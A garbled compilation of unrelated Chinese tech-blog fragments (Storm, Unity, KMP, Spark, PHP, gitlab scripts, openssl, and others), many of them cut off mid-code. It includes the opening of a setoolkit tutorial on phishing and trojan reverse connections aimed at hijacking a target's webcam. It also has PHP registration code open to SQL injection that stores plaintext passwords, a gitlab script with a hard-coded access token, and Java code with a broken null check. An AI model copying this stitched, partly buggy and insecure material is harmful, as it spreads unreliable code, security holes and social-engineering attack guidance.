三、配置storm集群 一、什么是Storm 1、定义:Storm是一个分布式实时计算系统。Storm能轻松可靠地处理无界的数据流,就像Hadoop对数据进行批处理;
2、什么是离线计算?流式计算?
离线计算:批量获取数据、传输数据、周期性批量计算数据 代表:Sqoop批量导入数据、HDFS批量存储数据、MapReduce批量计算数据、Hive批量计算数据
流式计算:数据实时产生、传输、计算、展示 代表:Flume实时获取数据、Kafka实时数据存储、Storm/JStorm实时数据计算、Redis实时结果缓存、持久化存储(mysql)。
3、storm与hadoop对比
Storm
hadoop
角色
Nimbus
JobTracker
Supervisor
TaskTracker
Worker
Child
应用名称
Topology
Job
编程接口
Spout/Bolt
Mapper/Reducer
4、应用场景:
实时分析,在线机器学习,连续计算,分布式RPC,ETL等。Apache Storm速度很快:基准测试表明它每秒可处理每个节点超过一百万个元组。
5、实时流常见架构
二、名词术语理解 1、元组(Tuple)
是消息传递的基本单元,Storm使用元组作为其数据模型,元组支持所有的基本类型、字符串和字节数组作为字段值,只要实现类型的序列化接口就可以使用该类型的对象。元组本来应该是一个key-value的Map,但是由于各个组件间传递的元组的字段名称已经事先定义好,所以只要按序把元组填入各个value即可,所以元组是一个value的List。
2、流(stream)
流是Storm的核心抽象,是一个无界的元组系列。源源不断传递的元组就组成了流,在分布式环境中并行地进行创建和处理。
3、水龙头(Spout)
Spout是拓扑的流的来源,是产生源数据流的组件。Spout会从外部数据源中读取数据,然后转换为拓扑内部的源数据。如果Storm处理元组失败,可靠的Spout能够重新发射,而不可靠的Spout就尽快忘记发出的元组。是否调用Ack()和fail()方法。
4、转接头(Bolt)
拓扑中处理都在Bolt中完成,Bolt是流的处理节点,从一个拓扑接收数据,然后执行处理的组件。Bolt可以过滤、业务处理、连接运算、连接与访问数据库等任何操作,类似于map和reduce的结合。简单的流处理一个bolt可以处理,复杂的流需要多个bolt连接处理。
5、拓扑(topology)
拓扑(Topology)是Storm中运行的一个实时应用程序,因为各个组件间的消息流动而形成逻辑上的拓扑结构。Storm的拓扑类似于MapReduce的作业(Job)。
6、Nimbus
主控节点,整个集群的控管核心,负责在集群对节点分配任务,并监视主机故障,topology的提交等工作,类似于Hadoop的JobTracker。
7、Supervisor
工作节点,负责接收Nimbus分配的任务,管理所有Worker,一个Supervisor节点中包含多个Worker进程。类似TaskTracker
8、流分组(Stream grouping)
流分组,是拓扑定义中的一部分,为每个Bolt指定应该接收哪个流作为输入。
9、工作进程(Worker)
Worker是Spout/Bolt中运行具体处理逻辑的进程。一个worker就是一个进程,进程里面包含一个或多个线程
三、配置storm集群 1、修改storm/conf
# 设置Zookeeper的主机名称 storm.zookeeper.servers: - "hdp-1" - "hdp-2" - "hdp-3" # 设置主节点的主机名称 nimbus.seeds: ["hdp-1"] # 设置Storm的数据存储路径 storm.local.dir: "
Unity3D 中 Generic 动画导入设置和 Root Motion 之间的关系
Unity3D 的 Mecanim 动画系统可以直接复用 3DS MAX 中制作的动画文件中的位移,这个就是通过 applyRootMotion 来达成的,我们只需要在使用 Animator 控制动画播放的同时,设置 Animator 的 applyRootMotion 字段为 True 就 OK 了。
那么怎么来利用这个特性达成我们想要的一些效果呢?这个 applyRootMotion 到底指的是啥呢?
ApplyRootMotion,从字面上理解来看,是『应用根节点的运动』,听起来貌似像那么一回事。可是我们可以从官方文档上看到这样一段话:
The Root Transform is a projection on the Y plane of the Body Transform and is computed at runtime. At every frame, a change in the Root Transform is computed. This change in transform is then applied to the Game Object to make it move.
开会,是一些互联网公司的高频日常活动。
他们坚信,会议能解决所有问题,
如果没有解决,那么一定是会开得还不够。
下面,就让我们走进互联网公司的会议世界——
-正文开始-
开会大概可分为两种:定点型会议和突袭式会议。
定点型会议固定周期,也大约能控制好时长,是互联网人摆脱不了的宿命。
最常见的就是周会:每周准时上演,起着承上启下的作用——上一周不堪的回首,新一周开始的梦魇。
突袭式会议则毫无规律可言,充满了随机“惊喜”:可能在周五下班前突然开会;
而听起来简单的“碰一下”,实际是一场马拉松式拉锯战。
员工有“带薪拉屎”,老板就有“下班开会”;
它们分别是职场鸡贼智慧的两个极端。
一个上班时合理缩短工作时长;
一个坐班外合理延长加班时间。
年轻的互联网人,不知道“带薪拉屎”的所有馈赠,都已被“下班开会”暗中标好了价格。
如果在一场下班延长会议上听到“大家辛苦了”,可别高兴得太早,
因为紧接着很可能不是“今天就到这里了”,而是“先一起叫个外卖吧”。
当然,就算会议毫无成果,也不耽误在朋友圈刷存在感与自我感动。
互联网人最喜欢开头脑风暴会。
但很多时候,其实什么都暴不出来。
到最后,只是分配了每个人单独思考的任务。
最常见的:经过漫长的脑暴,讨论出了下次脑暴的时间。
常规会议采用“1C位多辅助”的阵型,即一人说话,其他人补充+附和。
一般七嘴八舌的会议,都漫无边际、耗费精力,
最后都成了“议而不决,决而不行”的口嗨会。
而最惨的是抛出问题后的冷场,如果没人救场,所有人都会陷入一种假装在忙工作的尴尬沉默。
这时候,主会人会像小学上课点名回答问题一样,指定某个人发表观点。
由于害怕被点到,大家都会像犯错一样低头+眼神闪避。
会议与PPT是天生一对,它们相辅相成:
会议让PPT成为绝对主角,而PPT又填充了大量会议时间。
PPT的魔力,在于把一页word能讲清的东西分为十页,并在时间上无限延长。
偏题和跑题是开会的常规操作。
特别是一些部门内会议,经常开着开着就成了茶话会。
只要谁不小心提了一嘴热点或八卦,吐槽与扯淡就会像大坝泄洪,气氛比讨论正经话题热烈得多。
开会的目的,是促进小团体感情:关起门来,会更有“我们是一伙的”认同感。
有些会,与你没太大关系,插不上嘴、做不了主,会后也没你啥事。
但还是被抓壮丁,拉去充人头。
这样做,只是想让会议显得隆重、有气势。
你也可以继续手头工作,只是工作地点从工位换到会议室。
但要偶尔点头表演赞同、假装沉思,以示还在状况内。
从“开会带点啥”上,可以判断是不是职场老鸟。
真正的老鸟,开会时不会亏待自己。
除了用电脑作为掩体,还会携带毛毯、充电设备、水杯、靠枕、时令水果......
他们开场前就点好了冰美式,并且占据有利位置,以最舒服的姿势迎接会议。
只有没有经验的实习生,才会只拿笔记本(纸质),并在会议期间疯狂做笔记。
所以,他们顺理成章成为会议记录员,会后还要从大段废话中,总结出没人看的会议纪要。
有种会,专门争锋相对,为撕逼而开,多见于跨部门会议。
双方落座泾渭分明,气氛剑拔弩张,大战一触即发,争个你死我活。
就算这样,嘴上也不能承认,得用些欲盖弥彰的黑话:
“我不是来吵架的” = “我就是来吵架的”;
“我不是针对你” = “我就是针对你”。
有了微信群后,视频或语音会议频率远超线下。
不管是上下班、睡觉前、休假中....
无论在家、在车上、在商场、在厕所...
微信莫名其妙出现陌生群名,莫名其妙开始讨论,莫名其妙被分配了任务。
哪里都能开会,随时都能开会。
最惨的是跨国会议,往往是国内迁就国外的作息。
最后的话:
会议不是目的,执行的结果才是。
有事说事,没事散会!
-END-
B Y / 统筹:吓行、糙
在数据结构与算法课程中,串的匹配中,时间和空间消耗最大的是BF蛮力法。
基于BF蛮力法的低效率,KMP算法减少了不必要的无效匹配。算法中的核心是要对子串计算next值
下面先来看下公式的定义:
这个公式比较抽象,我们用这个公式来看看教材上的一个子串的计算过程。
模式串的index计算 j123456789模式串abcaababcnext值011122323获得步骤计算1计算2计算3计算4计算5计算6计算7计算8计算9 计算1:next[1]=a 因为 j=1 ,直接对应公式第一项,next=0
计算2:next[2]=b j=2;对应公式第二项 1<=k<2 ;当k=1时,公式为 但 。使用第三项 next=1
计算3:next[3]=c j=3;对应公式第二项;k=1/2 ;k=1没有意义,下面不再判断
当k=2时,公式为 但 使用第三项next=1
计算4:next[4]=a j=4;对应公式第二项 ,k=2/3。
当K=2时,判断公式 但 当k=3时,判断公式 但 两个K值都不满足,使用第三项 next=1
计算5:next[5]=a j=5;对应公式第二项 ,k=2/3/4。
当K=2时,判断公式 当k=3时,判断公式 当K=4时,判断公式 k=2可用,next=2
计算6:next[6]=b j=6 ;对应公式第二项 ,k=2/3/4/5
当K=2时,判断公式 当k=3时,判断公式 当K=4时,判断公式 当K=5时,判断公式 k=2可用,next=2
计算7:next[7]=a j=7 ;对应公式第二项 ,k=2/3/4/5/6
当K=2时,判断公式 当k=3时,判断公式 当K=4时,判断公式 当K=5时,判断公式 k=3可用,next=3
按照公式来计算,看出来非常的繁琐,有没有简单的计算方法呢?仔细看计算1-7中的比对步骤,可以得到下面的直观步骤。
计算字符位置为n的字符的index值,看前面有n-1个字符,需要判断n-2次。
将位置n字符前面的子串,分为从第一个字符开始命名为A 和 从n-1位置往前命名为B,
判断分别是 A1 vs B1,A2 vs B2 ......... An-2 vs Bn-2,如果相等,取第几次的值+1,就是字符的next值。
百度是很强大的,刚遇到这个问题,我先百度了下,按照网上信息的看法,我发现并不是这样,但是或许有的用户也可能是因为这个原因,后来,我才发现,同一个bundlid下我之前真机测试的时候有添加过,你只要把之前同一个bundlid的项目删掉就可以了
**
SparkSQL读取MySQL数据 **
一、sparkSQL读取MySQL数据
1、第一种方式
def main(args: Array[String]): Unit = { //获取sparkSession val sparkSession = SparkSession.builder().appName(this.getClass.getSimpleName.filter(!_.equals('$'))).getOrCreate() //获取sparkContext val sparkContext = sparkSession.sparkContext //设置日志级别 sparkContext.setLogLevel("WARN") //读取数据 val properties = new Properties() properties.put("user","qjjc") properties.put("password","XXX") val url = "jdbc:mysql://10.213.111.XXX:23306/buf_amr_all" val data: DataFrame = sparkSession.read.jdbc(url,"pdwqy_pms_yx_sbxx",properties) data.show() //释放资源 sparkContext.stop() sparkSession.stop() } 该方法还可以并发读取数据
指定数据库字段的范围分区: 调用函数:
def jdbc( url: String, table: String, columnName: String, lowerBound: Long, upperBound: Long, numPartitions: Int, connectionProperties: Properties): DataFrame 代码示例:
val lowerBound = 1 val upperBound = 100000 val numPartitions = 5 val properties = new Properties() properties.
1、头文件(.h)的组织方式(从上到下)
头文件说明 //注释防止重复包含宏定义//#ifndef __CONFIG_H__ #deine __CONFIG_H__ #endif调试开关头文件引用 //#include“config.h”宏定义 //#define OK 0结构定义 //struct常量声明 //int a; 函数原型声明inline/static 函数实现 2、源文件(.c)的组织方式(从上到下)
源文件说明 //注释调试开关 头文件引用 //#include“config.h”宏定义 //#define OK 0结构定义 //struct常量定义 //int a;函数原型声明全局变量声明静态变量定义函数实现 3、C语言程序命名规范
全局变量: gCardNumber 或者g_card_number静态变量: sCardNumber 或者s_card_number局部变量: cardNumber 或者card_number结构体: cardNumber_t 或者card_number_t枚举: cardNumbet_e 或者card_number_e宏定义: CARD_NUMBER 循环变量名: i; j; k; index 驼峰命名(最好)状态变量命名: flag; 驼峰命名(最好)布尔变量命名: done、error、found、success/ok函数名: getCardNumber() 或者get_card_number() 4、常用缩写
argument 可缩写为 argbuffer 可缩写为 bufclock 可缩写为 clkcommand 可缩写为 cmdcompare 可缩写为 cmpconfiguration 可缩写为 cfgdevice 可缩写为 deverror 可缩写为 errhexadecimal 可缩写为 hexincrement 可缩写为 incinitialize 可缩写为 initmaximum 可缩写为 maxmessage 可缩写为 msgminimum 可缩写为 minparameter 可缩写为 paraprevious 可缩写为 prevregister 可缩写为 regsemaphore 可缩写为 semstatistic 可缩写为 statsynchronize 可缩写为 synctemp 可缩写为 tmp 5、数据类型定义
本文档主要以CentOS7操作系统为例,介绍如何使用开源工具Extundelete快速恢复被误删除掉的数据。
背景信息 在Linux下,基于开源的数据恢复工具有很多,常见的有debugfs、R-Linux、ext3grep、extundelete等,比较常用的有ext3grep和extundelete,这两个工具的恢复原理基本一样,只是extundelete功能更加强大。如果您不小心误删除数据,并且Linux系统也没有与Windows系统下回收站类似的功能,您可以方便快速安装extundelete工具。
extundelete工具能够利用inode信息结合日志去查询该inode所在的block位置,以此查找和恢复所需的数据。该工具最给力的一点就是支持ext3/ext4双格式分区恢复,基于整个磁盘的恢复功能较为强大。
在数据被误删除后,首先要做的是卸载被删除数据所在的磁盘或磁盘分区。因为将文件删除后,仅仅是将文件的inode结点中的扇区指针清零,实际文件还存储在磁盘上,如果磁盘以读写模式挂载,这些已删除的文件的数据块就可能被操作系统重新分配出去,在这些数据块被新的数据覆盖后,误删除的数据就无法恢复。所以,以只读模式挂载磁盘可以尽量降低数据块中数据被覆盖的风险,提高恢复数据成功的几率。
说明:在实际线上恢复过程中,切勿将extundelete安装到您误删的文件所在硬盘,这样会有一定几率将需要恢复的数据彻底覆盖。
操作步骤 使用开源工具Extundelete快速恢复被误删的数据的操作步骤如下:
步骤一:部署extundelete工具 运行以下命令,部署extundelete工具:
wget https://nchc.dl.sourceforge.net/project/extundelete/extundelete/0.2.4/extundelete-0.2.4.tar.bz2 yum -y install bzip2 e2fsprogs-devel e2fsprogs gcc-c++ make # 安装相关依赖和库 tar -jxvf extundelete-0.2.4.tar.bz2 cd extundelete-0.2.4 ./configure # 可通过--prefix=/usr/local/extundel指定安装目录 make && make install # 执行安装 extundelete -v # 验证安装结果 步骤二:使用extundelete模拟数据误删除后恢复的过程 完成以下操作,使用extundelete模拟数据误删除后恢复的过程(示例中,模拟删除的数据在数据盘中而非系统盘):
检查磁盘(数据盘)和可用分区,并对/dev/vdb进行分区和格式化。具体操作,请参见格式化和挂载数据盘。 fdisk -l 将分区后的磁盘(数据盘)挂载到/testdel目录下,然后在/testdel下新建测试文件hello,并写入内容test。 mkdir /testdel #新建testdel目录 mount /dev/vdb1 /testdel #将磁盘挂载到testdel目录下 echo test > hello #写入测试文件 记录文件hello的md5值。md5sum命令用于生成和校验删除前和恢复后两个文件的md5值。 md5sum hello 模拟删除hello文件。 rm -rf hello cd ~ fuser -k /testdel #结束使用某分区的进程树(确认没有资源占用的话,可以跳过此步) 卸载数据盘。 umount /dev/vdb1 # 任何的文件恢复工具,在使用前,均要将要恢复的分区卸载或挂载为只读,防止数据被覆盖使用 # 千万记住:误删除数据了,一定要第一时间将数据所在磁盘卸载或挂载为只读分区,防止写入文件 inode 被重新分配。如果误删的是根分区的数据,那么立即进去单用户模式,将根分区只读挂载。又引申出一个问题,做系统分区的时候,最好不要只分一个根分区,像这样的情况很难办。 使用extundelete工具恢复文件。 extundelete --inode 2 /dev/vdb1 # 为查找某i节点中的内容,使用2则说明为整个分区搜索,如果需要进入目录搜索,只须要指定目录I节点即可。这是可以看到删除的文件名和inode。 /usr/local/bin/extundelete --restore-inode 12 /dev/vdb1 # 恢复删除的文件 这个时候会在执行命令的同级目录下出现RECOVERED_FILES目录
1、将数组排成最小的数:输入一个正整数数组,把数组里所有数字拼接起来排成一个数,打印能拼接出的所有数字中最小的一个。例如输入数组{3,32,321},则打印出这三个数字能排成的最小数字为321323
public static String PrintMinNumber(int[] numbers) { if (numbers == null && numbers.length == 0) { return ""; } List<Integer> list = new ArrayList<>(); for (int i = 0; i < numbers.length; i++) { list.add(numbers[i]); } list.sort((a, b) -> (a + "" + b).compareTo(b + "" + a)); return list.toString(); } public static void main(String[] args) { int[] numbers = { 35, 34, 33 }; System.out.println(PrintMinNumber(numbers)); // [33, 34, 35] } 2、连续正数序列:输入一个正数s,打印出所有和为s的连续正数序列(至少含有两个数)。例如输入15,由于1+2+3+4+5=4+5+6=7+8=15,所以结果打印出3个连续序列1-5,4-6和7-8
转子:https://www.cnblogs.com/yangming1996/p/9295168.html
以前,『XML』是各大框架的青睐者,它以松耦合的方式完成了框架中几乎所有的配置,但是随着项目越来越庞大,『XML』的内容也越来越复杂,维护成本变高。
于是就有人提出来一种标记式高耦合的配置方式,『注解』。方法上可以进行注解,类上也可以注解,字段属性上也可以注解,反正几乎需要配置的地方都可以进行注解。
关于『注解』和『XML』两种不同的配置模式,争论了好多年了,各有各的优劣,注解可以提供更大的便捷性,易于维护修改,但耦合度高,而 XML 相对于注解则是相反的。
追求低耦合就要抛弃高效率,追求效率必然会遇到耦合。本文意不再辨析两者谁优谁劣,而在于以最简单的语言介绍注解相关的基本内容。
注解的本质 「java.lang.annotation.Annotation」接口中有这么一句话,用来描述『注解』。
The common interface extended by all annotation types
所有的注解类型都继承自这个普通的接口(Annotation)
这句话有点抽象,但却说出了注解的本质。我们看一个 JDK 内置注解的定义:
@Target(ElementType.METHOD) @Retention(RetentionPolicy.SOURCE) public @interface Override { } 这是注解 @Override 的定义,其实它本质上就是:
public interface Override extends Annotation{ } 没错,注解的本质就是一个继承了 Annotation 接口的接口。有关这一点,你可以去反编译任意一个注解类,你会得到结果的。
一个注解准确意义上来说,只不过是一种特殊的注释而已,如果没有解析它的代码,它可能连注释都不如。
而解析一个类或者方法的注解往往有两种形式,一种是编译期直接的扫描,一种是运行期反射。反射的事情我们待会说,而编译器的扫描指的是编译器在对 java 代码编译字节码的过程中会检测到某个类或者方法被一些注解修饰,这时它就会对于这些注解进行某些处理。
典型的就是注解 @Override,一旦编译器检测到某个方法被修饰了 @Override 注解,编译器就会检查当前方法的方法签名是否真正重写了父类的某个方法,也就是比较父类中是否具有一个同样的方法签名。
这一种情况只适用于那些编译器已经熟知的注解类,比如 JDK 内置的几个注解,而你自定义的注解,编译器是不知道你这个注解的作用的,当然也不知道该如何处理,往往只是会根据该注解的作用范围来选择是否编译进字节码文件,仅此而已。
元注解 『元注解』是用于修饰注解的注解,通常用在注解的定义上,例如:
@Target(ElementType.METHOD) @Retention(RetentionPolicy.SOURCE) public @interface Override { } 这是我们 @Override 注解的定义,你可以看到其中的 @Target,@Retention 两个注解就是我们所谓的『元注解』,『元注解』一般用于指定某个注解生命周期以及作用目标等信息。
JAVA 中有以下几个『元注解』:
@Target:注解的作用目标@Retention:注解的生命周期@Documented:注解是否应当被包含在 JavaDoc 文档中@Inherited:是否允许子类继承该注解 其中,@Target 用于指明被修饰的注解最终可以作用的目标是谁,也就是指明,你的注解到底是用来修饰方法的?修饰类的?还是用来修饰字段属性的。
<?php $con = mysqli_connect('localhost','root',''); if(mysqli_errno($con)){ echo "连接数据库失败:".mysqli_error($con); exit; }//首先链接数据库 mysqli_set_charset($con,'utf8');//设定数据库字符集 mysqli_select_db($con,'emp');//打开数据库emp $name=trim($_POST['username']); //trim函数,过滤空格,如果不加,我们在用户名后面添加很多空格,提交表单,打开firebug //调试工具,我们可以到输入的用户名后面会有很多空格,使用trim函数,我们可以把表单中空格给过滤掉 $password=$_POST['password']; $sql = "select * from usee where name='$name'";//选择时间表usee $info = mysqli_query($con,$sql);//对表查询 $res = mysqli_num_rows($info);//返回$info中数值 if(empty($name)){ echo "<script>alert('用户名不能为空');location.href='kspaixu.php';</script>";//判断用户名唯一 }else if(empty($password)){ echo "<script>alert('密码不能为空');location.href='kspaixu.php';</script>";//判断密码唯一 }else{ if($res){ echo "<script>alert('用户名已存在');location.href='kspaixu.php';</script>"; }else{ $sql1 ="insert into usee(name,password) values('".$name."','" .$password."')";//传递用户名和密码 $result = mysqli_query($con,$sql1);//查询是否有用户名和密码 /* if(!$result) { printf("Error: %s\n", mysqli_error($con)); exit();//用来看报错 }*/ if($result){ echo "<script>alert('注册成功')</script>"; }else{ echo "<script>alert('注册失败')</script>"; } } } ?> 表单注册界面代码
const amqp = require('amqplib'); const { mqCfg } = require('../config') const Base = require('../core/Base') //单例复用tcp连接 let connect; let queue = "queue" //默认队列名称 const attr = { autoDelete: false, durable: true } //autoDelete 断开清空队列 durable 硬盘持久化 class AMQP { static async getConnection() { try { if (!connect) { console.log('~~~~开始新连接~~~~') connect = await amqp.connect(mqCfg.mq1, { clientProperties: { connection_name: `大查柜-${Base.now()}` } }) connect.on("error", (err) => { connect = null //清空失败连接 console.log(`[×] RabbitMQ 异常断线 ${Base.
安装就不多说了,python-gitlab这个模块貌似只适用于gitlab9版本以上,我用8版本一直报404,升级到9版本就好了
脚本内容如下:
如果不出现什么意外的话,只要地址和token正确,应该没有问题
project.repository_tree(all=True,recursive=True,as_list=True)脚本中这条语句是递归列出项目目录和文件,
recursive这个参数默认是false不进行递归
由于百度上没找到此办法,所以找了一下python-gitlab模块文件,里面有明确标明
/usr/local/python/lib/python3.7/site-packages/gitlab/v4/objects.py这个文件
#!/usr/sbin/python3 import gitlab import time import os git_url = 'http://192.168.12.84/' git_token = 'XbEURKtB1m2AkgTyyH6K' project_root = '/root/flow-web' class get_gitlab: def __init__(self): self.url = git_url self.token = git_token self.root_path = project_root #登陆 def login_gitlab(self): gl = gitlab.Gitlab(self.url,self.token) return gl #用项目id获取项目 def get_project_id(self,id): gl = self.login_gitlab() project = gl.projects.get(id) return project #由于是递归方式下载的所以要先创建项目相应目录 def create_dir(self,dir_name): if not os.path.isdir(dir_name): print("\033[0;32;40m开始创建目录: \033[0m{0}".format(dir_name)) os.makedirs(dir_name) time.sleep(0.1) def start_get(self): project = self.
———————— 思维导图下载地址
———————— 功能
1.1. 将物理层可能出错的物理连接改造为逻辑上无差错的数据链路
1.2. 为网络层提供服务
1.2.1. 无确认无连接
1.2.2. 有确认无连接
1.2.3. 有确认面向连接
1.3. 链路管理
1.3.1. 数据链路层连接的建立、维持和释放
1.4. 帧定界
1.5. 帧同步
1.5.1. 接收方能从接收到的二进制比特流中区分出帧的起始和终止
1.6. 透明传输
1.7. 差错控制组帧
2.1. 概念
2.1.1. 为了在出错时不需要重发全部数据,使接受方能够正确接受并检查所传输的帧
发送方依据一定规则把网络层递交的分组封装成帧(组帧)
2.1.2. 主要解决帧定界、帧同步、透明传输的问题
2.2. 方法
2.2.1. 字符计数法
2.2.1.1. 在帧头部使用一个计数字段标明帧内字符数(包含自身所占用的一个字节)
2.2.2. 字符填充的首尾定界符法
2.2.2.1. 使用特定的字符来确定帧的开始(DLE STX)与结束(DLE ETX)
2.2.2.2. 转义字符 DLE(若数据出现DLE,则在其前再加上DLE)
2.2.3. 比特填充的首尾标志法
2.2.3.1. 使用一个特定的比特模式,即01111110标志帧的开始与结束
2.2.3.2. 为避免误判,若遇到5个连续的1则再其后插入一个0
2.2.3.3. HDLC采用零比特填充法
2.2.4. 违规编码法
2.2.4.1. 物理层进行比特编码时,通常采用违规编码法
2.2.4.2. 例如 曼彻斯特编码 【“1”-"高-低"电平对】【“0”-"低-高"电平对】而"高-高"与"低-低"是违规的,用作表示开始和结束
2.2.4.3. 无需填充技术就能实现数据传输的透明性,只适用于冗余编码的特殊编码环境差错控制
3.1. 传输中的差错都是由噪声引起的
Linux系统下生成证书 生成秘钥key,运行: $ openssl genrsa -des3 -out server.key 2048 1 会有两次要求输入密码,输入同一个即可 输入密码 然后你就获得了一个server.key文件. 以后使用此文件(通过openssl提供的命令或API)可能经常回要求输入密码,如果想去除输入密码的步骤可以使用以下命令: $ openssl rsa -in server.key -out server.key 创建服务器证书的申请文件server.csr,运行: openssl req -new -key server.key -out server.csr 其中Country Name填CN,Common Name填主机名也可以不填,如果不填浏览器会认为不安全.(例如你以后的url为https://abcd/xxxx….这里就可以填abcd),其他的都可以不填. 创建CA证书: openssl req -new -x509 -key server.key -out ca.crt -days 3650 此时,你可以得到一个ca.crt的证书,这个证书用来给自己的证书签名. 创建自当前日期起有效期为期十年的服务器证书server.crt: openssl x509 -req -days 3650 -in server.csr -CA ca.crt -CAkey server.key -CAcreateserial -out server.crt ls你的文件夹,可以看到一共生成了5个文件: ca.crt ca.srl server.crt server.csr server.key 1 其中,server.crt和server.key就是你的nginx需要的证书文件. 三、如何配置nginx 打开你的nginx配置文件,搜索443找到https的配置,去掉这段代码的注释.或者直接复制我下面的这段配置: server { listen 443; server_name localhost; ssl on; ssl_certificate /root/Lee/keys/server.
https://swoft.org/docs/2.x/zh-CN/best-practices/nginx-config.html
目录 一、setoolkit介绍二、set工具集实战1、set工具集实现网络钓鱼实战2、set工具集之木马欺骗实战反弹链接(获取权限打开目标网络摄像头) 一、setoolkit介绍 开源的社会工程学利用套件,通常结合 metasploit 来使用。Social-Engineer Toolkit 专 门 用 于 社 会 工 程 的 高 级 攻 击 包 。SET 由 David Kennedy(ReL1K)编写,并在社区人员的大量帮助下,它包含了 以前从未见过的攻击工具集。渗透测试期间,工具包中内置的攻击工具可以进行有针 对性地集中攻击。SET 的主要目的是自动化并改进社会工程学攻击。它能够自动生成隐 藏了 EXP 的网页或电子邮件、木马文件、消息,同时还能使用 Metasploit 的 payload, 例如网页一旦被打开便会连接 shell。该版本的 SET 可植入多种 powershell 并进行任 意端口的转发,同时 SET 不会触及硬盘且使用已经进入白名单的进程,因此不会触发 杀毒软件的报警。
二、set工具集实战 1、set工具集实现网络钓鱼实战 1.检查网络中的所有计算机
2.在 kali 终端中输入 setoolkit 即可启动 set root@kali:~# setoolkit 你同意服务条款吗? Do you agree to the terms of service [y/n]:y
Select from the menu:
下面的函数都是c语言的测试函数但实则为宏,头文件为#include <ctype.h>
int isalnum(int c);下面的形式都是这样有一个整型参数和一个整型返回值,字符符合函数就返回1否则返回0。
//isalnum 测试字符是字母或者是数字 是返回1 否则返回0 //isalpha 测试字符是字母 是返回1 否则0 //isascii 测试字符是否是ASCII字符 也就是判断是否在0和127之间 //iscntrl 测试字符是否是控制字符 也就是判断范围在0和30之间 //isdigit 测试字符是否为数字 //isgraphis 测试字符是否是可打印字符 且非空格 //islower 测试字符是否为小写字母 //isupper 测试字符是否为大写字母 //isprint 测试字符是否为可打印字符可以包括字符 //isspace 测试字符是否为空格 也就是判断是否为空格('')、水平制表字符('\t')、CR('\r')、换行('\n')、垂直定位字符('\v')或翻页('\f')的情况 //ispunct 检查参数c是否为标点符号或特殊符号。返回TRUE也就是代表参数c为非空格、非数字和非英文字母 //isxdigit 检查参数c是否为16进制数字,只要c为下列其中一个情况则返回TRUE。16进制数字:0123456789ABCDEF 举一个例子:isupper该函数不仅仅只是我们理解的空格,而是包含'\t','\r','\n','\v',\'f'都是空格字符
int main(int argc, char **argv) { char *str="123c @# FD\tsP[e?\n"; int i; for(i=0;str[i]!=0;i++) if(isspace(str[i])) printf("str[%d] is a white-space character:%d\n",i,str[i]); return 0; } 运行结果:
str[4] is a white-space character:32
str[7] is a white-space character:32
1、创建存储过程。
(1)创建无参数的存储过程。
--创建无参数的存储过程 create proc up_stu as select * from student where sex=1 --执行存储过程 exec up_stu (2)创建有参数的存储过程。
--创建有参数的存储过程 create proc up_stu2 @sno char(7) as if exists (select * from student where sno=@sno) select student.sno,sname,cno,score from student,stu_course where student.sno=stu_course.sno and student.sno=@sno else print '你提供的学号不存在' --执行存储过程 exec up_stu2 @sno='2016003' (3)创建多个参数的存储过程。
--创建多个参数的存储过程 注:xh表示学号,kch表示课程号,cj表示成绩 create proc up_stu3 @xh char(7),@kch char(4),@cj float as update stu_course set score=@cj where sno=@xh and cno=@kch --执行存储过程 exec up_stu3 @xh='2016006',@kch='005',@cj=100 (4)带有输出参数的存储过程。
前言 今年上半年,不管是[移动端][1]还是整个互联网行业都在面临一定的洗牌,整个大环境的不稳定也让不少人心生疑虑,很多人对于互联网行业是否能保持前几年的热度保持谨慎怀疑,甚至一部分已经开始考虑转行。
从个人经验来看,程序员应该还没有走到穷途末路!在这里想从如下几个方面来解读这个问题:
程序员最需要具备的能力?
在日常开发工作中,其实程序员最需要的能力绝不仅仅是只是[codeing]的能力,当然code水平时必须的,在这里我想强调code之外的一种很重要却经常被我们忽视的能力:沟通能力!
我在平时的[面试][3]过程中也遇到不少技术水平很不错的候选人,但是深聊之后都能发现他们缺少一种主动沟通的能力,往往都是比较被动的老实孩子,在讲述一个他所擅长的技术点时会低着头滔滔不绝,一旦停下来又变成了沉默不语的让人心疼的好孩子,这种现象也许和程序员这个工作的场景和习惯有一定的关系,在很多人眼中coder面对一台电脑就能解决所有问题而不用去与人交流,但是这在团队工作中是一个大忌,例如在一个新版本的开发中,需要联合前后端的资源,对于每一个开发中你所需要依赖的资源你都要和对应资源方敲定好提测的时间和测试环境的一系列问题,有一些需求可以通过mock数据来完成,但是还是尽量用test或stage环境来配合保证你提测的质量;
在开发过程中还涉及到对一些不明确的需求定义还需要和PM临时沟通核对;甚至有时候UI妹妹也会来给你临时加两个UI方面的需求,当然这从流程规范上来说事不合理的,但是一个漂亮的UI妹妹几句甜言蜜语就能打破这些规则,所以学会“忽悠”她们和她们打太极也是程序员需要学会的技能之一。
以上我们看出在开发过程中,真正让你写代码的时间其实真的不多,很大一部分时间都是在和各部门沟通上,所以说学会沟通、善于沟通、乐于沟通将帮助你走更远,大家其实也可以发现在你身边的同事更乐于沟通的往往也能在团队中做更大的贡献,也能在这条路上走更远更高。
业务开发中如何提高自己的技术水平?
刚毕业的孩子进入一家企业前往往会对自己今后的职业生涯有一定的规划,比如每周要读多少书、每周写两篇博客、每月学习一门新的技术等等, 这些看似美好的计划都抵不过老板压过来的实实在在的需求,每当你每周都被这些需求淹没,当初学习和提高自己的热情就会慢慢淡忘。前一部分我们知道了沟通的重要性,但最终还是需要依靠自己的技术和业务水平来完成工作的,可是如果你每天都被这些业务开发压的喘不过气的话,长此以往还是对你的整个职业发展有影响。这里我提供两个有效的自己的个人经验给大家:第一个就是碎片化的学习,利用上班或者中午午休这段时间,选取一到两个专题进行学习,可以选取自己喜欢的公众号上的内容,也可以是博客,内容不限,最重要的一点是必须坚持,还有就是不能看过就算了,因为只有进行实践过的知识才真正是自己的,可以在第二天进行相应的笔记总结。第二个方法就是抽出双休日中的一天来进行深入的专题学习,这一天里你可以把本周所看过的所有博客和公众号内容进行总结。很多年前我的一位老领导对我说过,程序员超过别人的时候是在双休日!也许一下子让大家放弃和女朋友在一起的一天来学习很难,但是我相信真正爱你的女生更喜欢一个上进的你吧!另外大家最好能培养起每周运动的习惯,大部分程序员身体都不太好,就是缺乏运动导致。以上,碎片化学习还是双休日的总结都是一个长期的过程,相信坚持下去就会有好的结果!
程序员的发展方向
技术+技术: 架构或者某一领域的技术专家,这条路往往需要多年的开发经验,不管是架构还是技术专家,都需要你花费较多的精力去钻研,如果你认准你自己热爱技术的话走这条路还是比较适合的
